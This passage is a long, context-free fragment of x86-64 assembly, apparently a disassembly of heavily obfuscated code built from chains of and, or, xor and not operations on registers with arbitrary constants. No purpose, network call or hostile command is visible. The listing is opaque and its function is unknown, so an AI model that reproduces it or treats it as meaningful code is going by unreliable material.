and ebx, 0x168a283
mov edi, ecx
and edi, 0xfe975d7c
or edi, ebx
mov ebx, edi
xor ebx, 0xc2044c3c
mov r9d, esi
and r9d, 0x3cd39343
mov edx, r8d
and edx, 0xc32c6cbc
or edx, r9d
xor edi, 0x408203
and edi, 0x3cd39343
and ebx, 0xc32c6cbc
or ebx, edi
xor ebx, edx
mov r9d, ebx
xor r9d, esi
and r9d, ebx
and esi, 0x46fbeab5
mov edi, r8d
and edi, 0xb904154a
or edi, esi
xor edi, 0x46fbeab5
or edi, eax
mov edx, edi
not edx
and eax, 0x6f12300a
and ecx, 0x90edcff5
or ecx, eax
xor ecx, r8d
xor ecx, 0x6f12300a
and ecx, r8d
mov eax, ecx
not eax
mov ebx, edi
and ebx, 0x6881efd5
and edx, 0x977e102a
or edx, ebx
or edi, eax
and eax, 0x6881efd5
and ecx, 0x977e102a
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov r8d, r9d
not r8d
mov r11d, edi
mov esi, edi
xor esi, 0xda772058
and esi, edi
not edi
and edi, 0xe07201d9
and r11d, 0x1f8dfe26
or r11d, edi
mov r10d, r11d
xor r10d, 0xa04d026
mov edi, r9d
or edi, 0x2588dfa7
mov ebx, edi
not ebx
mov ecx, r8d
or ecx, 0xda772058
mov eax, ecx
not eax
xor r11d, 0xe07201d9
mov edx, r11d
or edx, 0x2588dfa7
mov r14d, edx
not r14d
and edi, 0xa5eefbac
and ebx, 0x5a110050
or ebx, edi
and ecx, 0xa5eefbac
and eax, 0x403
or eax, ecx
xor eax, ebx
mov ecx, esi
not ecx
mov edi, edx
and edi, 0x5314565b
and r14d, 0x88632000
or r14d, edi
or edx, ecx
and ecx, 0x5314565b
and esi, 0xaceba9a4
or esi, ecx
xor esi, r14d
not edx
or edx, esi
mov ecx, eax
not ecx
and ecx, edx
not edx
and edx, eax
or edx, ecx
mov eax, r9d
and eax, 0x15e92f11
and r8d, 0xea16d0ee
or r8d, eax
or r9d, r11d
and r11d, 0x15e92f11
and r10d, 0xea16d0ee
or r10d, r11d
xor r10d, r8d
not r9d
or r9d, r10d
mov eax, r9d
not eax
and eax, 0xdbfedf6e
and r9d, 0x24012091
or r9d, eax
xor r9d, 0x24012091
mov eax, edx
and eax, r9d
xor r9d, edx
or r9d, eax
mov eax, r9d
not eax
mov edx, eax
and edx, 0x680c9f63
mov ecx, r9d
xor ecx, 0x680c9f63
and ecx, r9d
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x97f3609c
and ecx, 0x680c9f63
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2f03e5b9
xor ecx, 0xd0fc1a46
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8f7b3b6e
and ecx, 0x7084c491
or ecx, edx
mov edi, ecx
xor edi, 0x7084c491
xor ecx, 0x8c590360
and eax, 0x2ca64614
and r9d, 0xd359b9eb
or r9d, eax
mov eax, r9d
xor eax, 0xd359b9eb
xor r9d, 0x2c820000
and r9d, 0x3e8a31a0
mov edx, eax
and edx, 0xc175ce5f
or edx, r9d
xor edx, 0xee762be6
and eax, 0xd0fc1a46
or eax, edx
mov edx, eax
not edx
and edx, 0x6989cf1d
and eax, 0x967630e2
or eax, edx
mov ebx, eax
xor ebx, 0x2223082
xor eax, 0x6989cf1d
mov edx, edi
xor edx, eax
and edx, edi
and ecx, 0xbcdd8760
and edi, 0x4322789f
or edi, ecx
and eax, 0xbcdd8760
and ebx, 0x4322789f
or ebx, eax
xor ebx, edi
mov r10d, edx
not r10d
mov ecx, ebx
not ecx
mov eax, r10d
and eax, 0x34911f38
and edx, 0xcb6ee0c7
or edx, eax
or r10d, ecx
and ecx, 0x34911f38
and ebx, 0xcb6ee0c7
or ebx, ecx
xor ebx, edx
not r10d
or r10d, ebx
mov r9d, r10d
not r9d
mov eax, r9d
and eax, r10d
mov edx, eax
not edx
mov ecx, r10d
and ecx, 0x44646c3b
mov edi, r9d
and edi, 0xbb9b93c4
or edi, ecx
mov ebx, r10d
or ebx, edx
and edx, 0x44646c3b
and eax, 0xbb9b93c4
or eax, edx
xor eax, edi
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x1447375a
and ebx, 0xebb8c8a5
or ebx, eax
mov ecx, ebx
xor ecx, 0xebb8c8a5
xor ebx, 0x1447375a
mov eax, r9d
and eax, 0x69cb21e9
mov esi, r10d
and esi, 0x9634de16
or esi, eax
mov eax, esi
xor eax, 0x9634de16
xor esi, 0x28c321e9
and esi, 0xbec3b1eb
mov edx, eax
and edx, 0x413c4e14
or edx, esi
xor edx, 0x413c4e14
or edx, eax
mov eax, edx
not eax
and eax, 0x3cd18ade
and edx, 0xc32e7521
or edx, eax
mov eax, edx
xor eax, 0xc32e7521
and eax, ecx
xor edx, 0x3cd18ade
mov ecx, ebx
xor ecx, edx
and ecx, ebx
and edx, ebx
or edx, eax
mov r11d, ecx
not r11d
mov eax, edx
not eax
mov edi, r11d
and edi, 0x7c145b06
and ecx, 0x83eba4f9
or ecx, edi
or r11d, eax
and eax, 0x7c145b06
and edx, 0x83eba4f9
or edx, eax
xor edx, ecx
not r11d
or r11d, edx
mov edi, r11d
mov r14d, r11d
xor r14d, 0xf1840667
and r14d, r11d
mov r8d, r11d
mov r15d, r11d
xor r15d, 1
and r15d, r11d
not r11d
or edi, 0xe7bf998
mov edx, edi
not edx
mov eax, r14d
not eax
mov esi, edi
and esi, 0x440b84c
and edx, 0xf1840623
or edx, esi
or edi, eax
and eax, 0x440b84c
and r14d, 0xfbbf47b3
or r14d, eax
xor r14d, edx
not edi
or edi, r14d
mov eax, edi
not eax
and eax, 0xe7bf998
and edi, 0xf1840667
or edi, eax
mov eax, edi
not eax
mov edx, edi
and edx, 0x9ae1a1fb
and eax, 0x7c1b0084
and edi, 0x83e4ff7b
or edi, eax
xor edi, 0xe6faa17f
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
not eax
and eax, 0x400204d8
mov edx, edi
and edx, 0xa0086a04
or edx, eax
xor edx, 0xa0086a04
and edi, 0x1ff59123
or edi, edx
mov eax, edi
not eax
and eax, 0x9c6faf0a
and edi, 0x639050f5
or edi, eax
mov edx, edi
xor edx, 0x81883e29
xor edi, 0x7c65c1d6
mov eax, edi
and eax, 0x56370040
and edx, 0xa9c8ffbf
or edx, eax
xor edx, 0xa9c8ffbf
or edx, edi
mov r14d, edx
not r14d
mov eax, r9d
and eax, 0x4160800
mov esi, r10d
and esi, 0x61085604
or esi, eax
xor esi, 0x61085604
mov eax, r10d
xor eax, 0x651e5e04
and eax, r10d
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xe1079770
and eax, 0x1ef8688f
or eax, esi
and r10d, 0xe1079770
and r9d, 0x1ef8688f
or r9d, r10d
xor r9d, eax
xor ecx, r9d
and ecx, r9d
mov eax, ecx
not eax
mov esi, edx
and esi, 0x9141a71e
mov edi, r14d
and edi, 0x6ebe58e1
or edi, esi
mov esi, ecx
and esi, 0x9141a71e
and eax, 0x6ebe58e1
or eax, esi
xor eax, edi
not eax
or eax, edx
mov r9d, eax
not r9d
and edx, 0xb0a30d5e
mov ebx, r14d
and ebx, 0x4f5cf2a1
or ebx, edx
xor ebx, ecx
xor ebx, 0xb0a30d5e
and ebx, ecx
xor ecx, r14d
and ecx, r14d
mov edi, ebx
not edi
mov esi, ecx
not esi
mov edx, edi
and edx, 0x40f16790
and ebx, 0xbf0e986f
or ebx, edx
or edi, esi
and esi, 0x40f16790
and ecx, 0xbf0e986f
or ecx, esi
xor ecx, ebx
not edi
or edi, ecx
mov ecx, eax
and ecx, 0x58ab8e33
xor eax, 0xfb58dc86
and eax, r9d
and r9d, 0xa75471cc
or r9d, ecx
mov r10d, r9d
xor r10d, 0xa75471cc
mov edx, edi
mov ebx, edi
xor ebx, 0x4a72379
and ebx, edi
not edi
xor r9d, 0x5c0cad4a
and r9d, r10d
or edx, 0xfb58dc86
mov esi, edx
not esi
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, ebx
not ecx
mov r9d, edx
and r9d, 0x93a67433
and esi, 0x4010348
or esi, r9d
or edx, ecx
and ecx, 0x93a67433
and ebx, 0x6c598bcc
or ebx, ecx
xor ebx, esi
not edx
or edx, ebx
mov ecx, eax
not ecx
and ecx, edx
not edx
and edx, eax
or edx, ecx
mov eax, r10d
and eax, edi
xor edi, r10d
or edi, eax
mov ecx, edi
not ecx
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x7307f44a
and edx, 0x8cf80bb5
or edx, ebx
or eax, edi
and edi, 0x7307f44a
and ecx, 0x8cf80bb5
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
mov ebx, ecx
mov edi, ecx
and edi, 0x2c4e7e5
and eax, 0xfd3b181a
or eax, edi
not eax
or eax, ecx
or ecx, 0xa410dfe4
mov edi, ecx
not edi
or edx, 0x4b8d2002
and edx, 0x6b9d7fe2
and ebx, 0x84008004
or ebx, edx
and ecx, 0x6b9d7fe2
and edi, 0x10620019
or edi, ecx
xor edi, ebx
mov ecx, edi
not ecx
and ecx, 0xb0e03048
and edi, 0x4f1fcfb7
or edi, ecx
mov ecx, edi
xor ecx, 0x210a0000
xor edi, 0x14b0498c
and edi, 0xdeb559df
and ecx, 0x214aa620
or ecx, edi
mov edx, ecx
xor edx, 0x210a0000
and edx, 0xfd3b181a
xor ecx, 0xdc71be3a
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa8131715
and ecx, 0x57ece8ea
or ecx, edx
mov edx, ecx
xor edx, 0x57ece8ea
xor ecx, 0xa8131715
mov ebx, eax
not ebx
and ebx, ecx
mov ecx, edx
xor ecx, eax
and ecx, edx
and eax, edx
or eax, ebx
mov edx, ecx
not edx
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x4538ed08
and ecx, 0xbac712f7
or ecx, edi
or edx, ebx
and ebx, 0x4538ed08
and eax, 0xbac712f7
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov r14d, edx
xor r14d, 0x9825461f
and r14d, edx
not edx
and edx, 0x9825461f
mov eax, edx
and eax, r14d
xor r14d, edx
or r14d, eax
and r8d, 0xd9b88075
mov ecx, r11d
and ecx, 0x26477f8a
or ecx, r8d
xor ecx, 0x26477f8b
mov eax, r11d
and eax, 0xfffffffe
or eax, ecx
mov ebx, eax
not ebx
and r11d, 1
mov edx, r11d
and edx, r15d
xor r15d, r11d
or r15d, edx
mov ecx, r15d
not ecx
and r15d, eax
or eax, ecx
not eax
and ecx, ebx
or ecx, r15d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov r13d, ecx
not r13d
mov ebx, r13d
and ebx, 0x36483b0c
mov edx, ecx
xor edx, 0x36483b0c
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xc9b7c4f3
and edx, 0x36483b0c
or edx, ebx
mov r8d, edx
not r8d
or r13d, ecx
mov ecx, r13d
not ecx
mov edi, edx
xor edi, 0xd6a0d0d5
and edi, r8d
and edx, 0x295f2f2a
mov eax, r13d
xor eax, 0x295f2f2a
and eax, r13d
and ecx, 0x295f2f2a
mov ebx, edi
and ebx, edx
xor edx, edi
or edx, ebx
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, edx
not eax
and eax, 0x5f96c942
and edx, 0xa06936bd
or edx, eax
mov eax, ecx
not eax
and eax, 0x5f96c942
and ecx, 0xa06936bd
or ecx, eax
xor ecx, edx
mov eax, r8d
and eax, r13d
xor r13d, r8d
or r13d, eax
mov eax, r13d
not eax
and eax, 0x3efab0d3
and r13d, 0xc1054f2c
or r13d, eax
xor r13d, 0xc1054f2c
mov eax, ecx
and eax, r13d
xor r13d, ecx
or r13d, eax
mov eax, r13d
not eax
mov ecx, eax
and ecx, 0xdd906ff2
and r13d, 0x226f900d
or r13d, ecx
xor r13d, 0x226f900d
mov ecx, r13d
and ecx, eax
xor r13d, eax
or r13d, ecx
mov r10d, r13d
not r10d
mov edx, r14d
not edx
mov ecx, edx
and ecx, 0x66d4a801
mov eax, r14d
and eax, 0x992b57fe
or eax, ecx
mov r9d, eax
xor r9d, 0x992b57fe
xor eax, 0x66d4a801
mov ecx, r10d
and ecx, 0x9e60876d
mov r11d, r13d
and r11d, 0x619f7892
or r11d, ecx
mov r8d, r11d
xor r8d, 0x9e60876d
mov r12d, r8d
and r8d, eax
and eax, 0xf365a316
xor r11d, 0x619f7892
mov ecx, r11d
and ecx, 0xd8ecb6f3
and r12d, 0x2713490c
or r12d, ecx
not r12d
or r12d, r11d
mov r15d, r9d
xor r15d, r11d
and r15d, r9d
and r11d, r9d
and r9d, 0xc9a5ce9
or r9d, eax
mov eax, r9d
xor eax, 0x88814e1
and eax, 0xd8ecb6f3
xor r9d, 0xd476ea1a
or r9d, eax
mov eax, r9d
not eax
and eax, 0x127193d2
and r9d, 0xed8e6c2d
or r9d, eax
mov eax, r9d
xor eax, 0xed8e6c2d
mov ecx, edx
and ecx, 0xa352147b
and r14d, 0x5cadeb84
or r14d, ecx
xor r14d, 0x84415d77
xor edx, r14d
and edx, r14d
mov ecx, r13d
and ecx, 0x2713490c
and r10d, 0xd8ecb6f3
or r10d, ecx
xor r13d, r10d
and r13d, r10d
mov edi, edx
not edi
mov r10d, eax
xor r10d, edi
and r10d, eax
xor r9d, 0x10000382
and r9d, 0x94844383
and eax, 0x6b7bbc7c
or eax, r9d
mov esi, r13d
mov ebx, r13d
xor ebx, 0xabc071a2
and ebx, r13d
mov ecx, r13d
not ecx
mov r9d, r12d
mov r14d, r12d
and r14d, ecx
xor ecx, r12d
not r12d
and edi, 0x94844383
and edx, 0x6b7bbc7c
or edx, edi
xor edx, eax
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
and r9d, 0xabc071a2
and r12d, 0x543f8e5d
or r12d, r9d
or esi, 0x543f8e5d
mov eax, esi
not eax
mov edi, ebx
not edi
mov r9d, esi
and r9d, 0x758ee650
and eax, 0x8a4011a2
or eax, r9d
or esi, edi
and edi, 0x758ee650
and ebx, 0x8a7119af
or ebx, edi
xor ebx, eax
not esi
or esi, ebx
mov eax, r12d
not eax
and eax, esi
not esi
and esi, r12d
or esi, eax
or ecx, r14d
mov eax, ecx
not eax
and eax, 0x6ef6e665
and ecx, 0x9109199a
or ecx, eax
xor ecx, 0x9109199a
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, edx
not eax
and eax, 0x802900b
mov ebx, edx
and ebx, 0x61152210
or ebx, eax
xor ebx, 0x61152210
and edx, 0x96e84de4
or edx, ebx
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0x6917b21b
and eax, ebx
and ebx, ecx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, edx
not eax
and eax, ebx
not ebx
and ebx, edx
or ebx, eax
or r11d, r8d
mov eax, r15d
not eax
mov ecx, r11d
not ecx
mov edx, eax
and edx, 0x21fa3eeb
and r15d, 0xde05c114
or r15d, edx
or eax, ecx
and ecx, 0x21fa3eeb
and r11d, 0xde05c114
or r11d, ecx
xor r11d, r15d
not eax
or eax, r11d
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9bcb1fa7
and ecx, eax
and eax, 0x6434e058
or eax, edx
mov edx, eax
xor edx, 0x24c058
xor eax, 0x9bcb1fa7
mov edi, ecx
not edi
mov esi, eax
and esi, 0xfd983e81
and edx, 0x267c17e
or edx, esi
or eax, edi
and edi, 0xfd983e81
and ecx, 0x267c17e
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x3635bee2
mov edx, ebx
and edx, 0xc9ca411d
or edx, ecx
xor edx, 0xc9ca411d
mov ecx, eax
not ecx
mov edi, ecx
mov esi, edx
and esi, ecx
xor ecx, edx
and edx, 0xd66ec79c
and ebx, 0x29913863
or ebx, edx
and edi, 0xd66ec79c
and eax, 0x29913863
or eax, edi
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
or ecx, esi
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov r9d, ecx
mov eax, ecx
xor eax, 0x3522e4d0
and eax, ecx
mov esi, edx
and esi, 0xda74e6ef
mov r8d, ecx
and r8d, 0x258b1910
or r8d, esi
mov esi, r8d
xor esi, edx
and ecx, edx
mov r10d, edx
and r10d, ecx
xor ecx, edx
and edx, 0x35208400
and r9d, 0x260d0
or r9d, edx
xor r9d, 0x260d0
mov edx, r9d
and edx, eax
xor eax, r9d
or eax, edx
mov edx, eax
not edx
and edx, 0xca54022f
and eax, 0x1020e4c0
or eax, edx
mov edx, eax
not edx
and esi, r8d
mov edi, esi
not edi
and esi, edx
or edx, edi
mov ebx, edx
not ebx
and edi, eax
or edi, esi
mov eax, edi
not eax
mov esi, edx
and esi, 0x560634b7
and ebx, 0x8870c248
or ebx, esi
or edx, eax
and eax, 0x560634b7
and edi, 0xa9f9cb48
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xe7e711b4
and edx, 0x1818ee4b
or edx, eax
mov eax, edx
not eax
and eax, 0x39535d1c
and edx, 0xc6aca2e3
or edx, eax
mov ebx, edx
xor ebx, 0xfb3f55b8
xor edx, 0x4008000
and edx, 0x64029400
mov eax, ebx
and eax, 0xc04006
or eax, edx
xor eax, 0xc04006
and ebx, 0x9b3d2bf9
or ebx, eax
mov eax, ebx
not eax
and eax, 0x9d3431bb
and ebx, 0x62cbce44
or ebx, eax
mov r14d, ebx
xor r14d, 0x6091a42
xor ebx, 0x60420104
mov edx, r14d
and edx, 0x84b83409
and ebx, 0x60420946
and r14d, 0x1b05c2b0
or r14d, ebx
xor r14d, 0x1b05c2b0
or r14d, edx
mov edx, r14d
not edx
mov ebx, edx
and ebx, 0x93cb7abd
and r14d, 0x6c348542
or r14d, ebx
xor r14d, 0xe88cb14b
or r14d, edx
mov r9d, r14d
not r9d
or ecx, r10d
mov edx, ecx
xor edx, 0x84b83409
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x8d8bf020
and ecx, 0x72740fdf
or ecx, ebx
xor ecx, 0xf6cc3bd6
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xaaa8520e
and ecx, 0x5557adf1
or ecx, edx
mov edx, ecx
xor edx, 0x5412150
xor ecx, 0x8a08400e
and ecx, 0xda1eccaf
and edx, 0x25e13350
or edx, ecx
mov r12d, edx
xor r12d, 0xd0024003
xor edx, 0x4e00200
and edx, 0xefc8eac
and r12d, 0xf1037153
or r12d, edx
mov r8d, r12d
xor r8d, 0xf1037153
mov r15d, r12d
xor r15d, 0xefc8eac
mov eax, r9d
or eax, 0x721b8acb
mov edx, eax
not edx
mov ebx, r14d
xor ebx, 0x721b8acb
and ebx, r9d
mov edi, ebx
not edi
mov esi, eax
and esi, 0x4517e5bd
and edx, 0x88e01000
or edx, esi
or eax, edi
and edi, 0x4517e5bd
and ebx, 0xbae81a42
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
not edx
and edx, 0x721b8acb
and eax, 0x8de47534
or eax, edx
mov edx, r8d
and edx, 0x1001010e
mov ebx, r15d
and ebx, 0xc492b020
or ebx, edx
xor ebx, 0xc492b020
xor r12d, 0xda6f3f82
and r12d, r15d
mov edx, ebx
and edx, r12d
xor r12d, ebx
or r12d, edx
mov edx, r12d
not edx
and edx, 0x2b6c4ed1
and r12d, 0xd493b12e
or r12d, edx
mov r11d, eax
mov r13d, eax
xor r13d, 0xb0f3c08e
mov esi, r13d
and r13d, eax
mov edi, eax
not edi
mov ebx, r12d
not ebx
mov edx, ebx
and esi, edi
mov dword [rbp + 0x2c], esi
mov eax, r12d
xor eax, 0xb0f3c08e
and eax, ebx
mov dword [rbp + 0x30], eax
mov eax, edi
and eax, ebx
mov dword [rbp + 0x28], eax
mov esi, ebx
xor ebx, edi
and edi, 0x4c93e93c
xor r11d, 0xb36c16c3
or r11d, edi
mov edi, r11d
not edi
and edi, 0xc80579f9
and r11d, 0x37fa8606
or r11d, edi
and r9d, 0x99da1ab7
mov edi, r14d
and edi, 0x6625e548
or edi, r9d
xor edi, 0x2ab60c74
and r14d, 0xb36c16c3
or r14d, edi
mov edi, r14d
not edi
and edi, 0x583c4a31
and r14d, 0xa7c3b5ce
or r14d, edi
mov edi, r12d
and edi, 0x508be551
and edx, 0xaf741aae
or edx, edi
mov edi, r11d
xor edi, 0x37fa8606
xor edx, 0x1c180c6d
and esi, 0x4c93e93c
or esi, edx
and r8d, 0x2a611511
and r15d, 0xd59eeaee
or r15d, r8d
mov edx, r15d
xor edx, 0x910c02c2
and edx, 0xb36c16c3
xor r15d, 0x66f2fc2d
or r15d, edx
xor r11d, 0xc80579f9
mov r8d, r11d
and r8d, 0xa4296b12
mov r9d, edi
and r9d, 0x5bd694ed
or r9d, r8d
mov edx, r14d
xor edx, 0x583c4a31
mov r8d, r14d
xor r14d, 0x3eadedc
mov r10d, r14d
and r10d, edx
mov eax, r10d
not eax
mov ecx, eax
and ecx, 0x6110f16d
and r10d, 0x9eef0e92
or r10d, ecx
xor r8d, 0xa7c3b5ce
and r14d, r8d
mov ecx, r14d
not ecx
or eax, ecx
and ecx, 0x6110f16d
and r14d, 0x9eef0e92
or r14d, ecx
xor r14d, r10d
not eax
or eax, r14d
mov ecx, r9d
not ecx
and ecx, eax
not eax
and eax, r9d
or eax, ecx
mov ecx, edi
and ecx, 0xa9df701c
and r11d, 0x56208fe3
or r11d, ecx
or edi, r8d
and r8d, 0xa9df701c
and edx, 0x56208fe3
or edx, r8d
xor edx, r11d
not edi
or edi, edx
mov ecx, edi
not ecx
and ecx, 0x2fc68b1d
and edi, 0xd03974e2
or edi, ecx
xor edi, 0xd03974e2
mov ecx, eax
and ecx, edi
xor edi, eax
mov eax, esi
mov r8d, esi
mov edx, esi
not edx
or edi, ecx
xor eax, 0xae050292
and eax, edx
mov edx, r15d
xor edx, 0xae050292
and edx, r15d
mov r10d, r15d
and r8d, r15d
xor r15d, esi
and esi, 0x51fafd6d
mov r9d, esi
and r9d, eax
xor eax, esi
or eax, r9d
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x903aee44
and edx, 0x6fc511bb
or edx, esi
or r10d, 0x51fafd6d
mov esi, r10d
not esi
or ecx, r10d
and r10d, 0x903aee44
and esi, 0x2e050092
or esi, r10d
xor esi, edx
not ecx
or ecx, esi
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
mov r9d, dword [0x1400a6664]
or r15d, r8d
not r15d
mov edx, ecx
and edx, r15d
xor r15d, ecx
or r15d, edx
mov ecx, edi
not ecx
and ecx, 0xb88ca5bc
and edi, 0x47735a43
or edi, ecx
mov ecx, r15d
not ecx
mov edx, r15d
xor edx, 0xb88ca5bc
and ecx, edx
and edx, r15d
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edi
not ecx
and ecx, edx
not edx
and edx, edi
or edx, ecx
and r12d, 0x4f0c3f71
mov eax, dword [rbp + 0x2c]
mov ecx, eax
not ecx
mov edi, r13d
not edi
mov esi, ecx
and esi, 0x91aba097
and eax, 0x6e545f68
or eax, esi
or ecx, edi
and edi, 0x91aba097
and r13d, 0x6e545f68
or r13d, edi
xor r13d, eax
not ecx
or ecx, r13d
mov eax, dword [rbp + 0x30]
mov edi, eax
and edi, r12d
xor r12d, eax
or r12d, edi
mov edi, ecx
not edi
and edi, r12d
not r12d
and r12d, ecx
or r12d, edi
or ebx, dword [rbp + 0x28]
mov edi, ebx
not edi
mov ecx, r12d
not ecx
mov esi, ecx
and esi, 0xbd1f03a9
and r12d, 0x42e0fc56
or r12d, esi
or ecx, ebx
and ebx, 0xbd1f03a9
and edi, 0x42e0fc56
or edi, ebx
xor edi, r12d
not ecx
or ecx, edi
mov edi, ecx
not edi
mov ebx, edi
and ebx, ecx
mov esi, ebx
not esi
mov eax, ecx
and eax, 0xcafc993e
and edi, 0x350366c1
or edi, eax
or ecx, esi
and esi, 0xcafc993e
and ebx, 0x350366c1
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0xa6fc5d55
and ecx, 0x5903a2aa
or ecx, eax
xor ecx, 0xa6fc5d55
xor ebx, ecx
and ebx, ecx
mov eax, edx
not eax
mov ecx, ebx
not ecx
and ecx, 0x37bdf3da
mov esi, ebx
and esi, 0xc8420c25
or esi, ecx
xor esi, 0xc8420c25
mov ecx, edx
xor ecx, 0x32c7881d
and ecx, eax
and edx, 0xcd3877e2
mov edi, esi
and edi, 0x32c7881d
and ebx, 0xcd3877e2
or ebx, edi
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, ebx
not ebx
and ebx, edx
or ebx, ecx
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x9b336126
and ebx, 0x64cc9ed9
or ebx, ecx
or edi, esi
and esi, 0x9b336126
and eax, 0x64cc9ed9
or eax, esi
xor eax, ebx
not edi
or edi, eax
mov edx, edi
not edx
mov ecx, edi
xor ecx, 0x6eda2c56
and ecx, edi
mov eax, edx
and eax, 0x1f530d94
and edi, 0xe0acf26b
or edi, eax
xor edi, 0x6414c662
or edi, edx
and edx, 0x6eda2c56
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9125d3a9
and ecx, 0x6eda2c56
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1f147846
and ecx, 0xe0eb87b9
or ecx, eax
mov eax, ecx
xor eax, 0x604383b0
and eax, 0x7b47cbf6
xor ecx, 0x9bac4c4f
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb1804ecc
and ecx, 0x4e7fb133
or ecx, eax
mov eax, ecx
xor eax, 0x4e7fb133
xor ecx, 0x21804c48
mov edx, edi
not edx
mov ebx, eax
xor ebx, edi
and ebx, eax
and ecx, 0x27d94d7b
and eax, 0xd826b284
or eax, ecx
and edi, 0x27d94d7b
and edx, 0xd826b284
or edx, edi
xor edx, eax
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x8fb9385c
mov ecx, edx
xor ecx, 0x8fb9385c
and ecx, edx
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xa8f3470e
and ecx, 0x570cb8f1
or ecx, eax
mov esi, ecx
xor esi, 0xd8b580ad
mov r8d, ecx
xor r8d, 0x274a7f52
and edi, 0xe40ecb2c
and edx, 0x1bf134d3
or edx, edi
mov eax, edx
xor eax, 0x1bf134d3
xor edx, 0xe40ecb2c
or edx, eax
mov eax, edx
not eax
and eax, 0xe27b3f0c
and edx, 0x1d84c0f3
or edx, eax
mov eax, edx
xor eax, 0x1d84c0f3
mov edi, edx
xor edi, 0x40183a0c
and edi, 0x40983a0c
xor edx, 0x2347f911
and edx, eax
and eax, 0xbf67c5f3
or eax, edi
mov edi, eax
xor edi, 0xbf67c5f3
xor ecx, 0xe676b94f
mov ebx, ecx
and ebx, r8d
and ecx, esi
xor eax, 0x7e5b03ee
and eax, edi
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov esi, eax
not esi
mov ebx, edx
not ebx
mov r10d, esi
and r10d, 0x22a7d68b
and eax, 0xdd582974
or eax, r10d
or esi, ebx
and ebx, 0x22a7d68b
and edx, 0xdd582974
or edx, ebx
xor edx, eax
not esi
or esi, edx
mov eax, ecx
not eax
and eax, 0x5e86a7b2
and ecx, 0xa179584d
or ecx, eax
mov eax, esi
not eax
and eax, 0x5e86a7b2
and esi, 0xa179584d
or esi, eax
xor esi, ecx
mov eax, r8d
and eax, edi
xor edi, r8d
or edi, eax
mov eax, edi
not eax
and eax, 0x6f8d93a4
and edi, 0x90726c5b
or edi, eax
mov eax, edi
xor eax, 0x10406402
xor edi, 0x6f8d93a4
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x8d331b7d
and esi, 0x72cce482
or esi, ecx
or edx, edi
and edi, 0x8d331b7d
and eax, 0x72cce482
or eax, edi
xor eax, esi
not edx
or edx, eax
mov ebx, edx
mov ecx, edx
mov eax, edx
xor eax, 0xa199203a
and eax, edx
not edx
or ebx, edx
and edx, 0x2089202a
and ecx, 0x81100010
or ecx, edx
mov edx, ecx
xor edx, 0x81100000
xor ecx, 0x7eefffef
mov edi, eax
not edi
mov esi, ecx
and esi, 0x3823b470
and edx, 0x8198000a
or edx, esi
or ecx, edi
and edi, 0x3823b470
and eax, 0xc7dc4b8f
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcf68b5f4
and ecx, 0x30974a0b
or ecx, eax
mov eax, ecx
xor eax, 0x6ef195ce
and eax, ebx
not ebx
xor ecx, 0x910e6a31
mov edx, ebx
xor edx, ecx
and edx, ebx
and ecx, ebx
or ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x43720000
mov esi, edx
or edx, ecx
and ecx, 0x34001208
or ecx, ebx
mov eax, ecx
xor eax, 0x34000200
xor ecx, 0x4812a1d7
or esi, 0x77721208
mov edi, esi
not edi
and ecx, 0x4812b1df
and eax, 0x37600200
or eax, ecx
and esi, 0x4812b1df
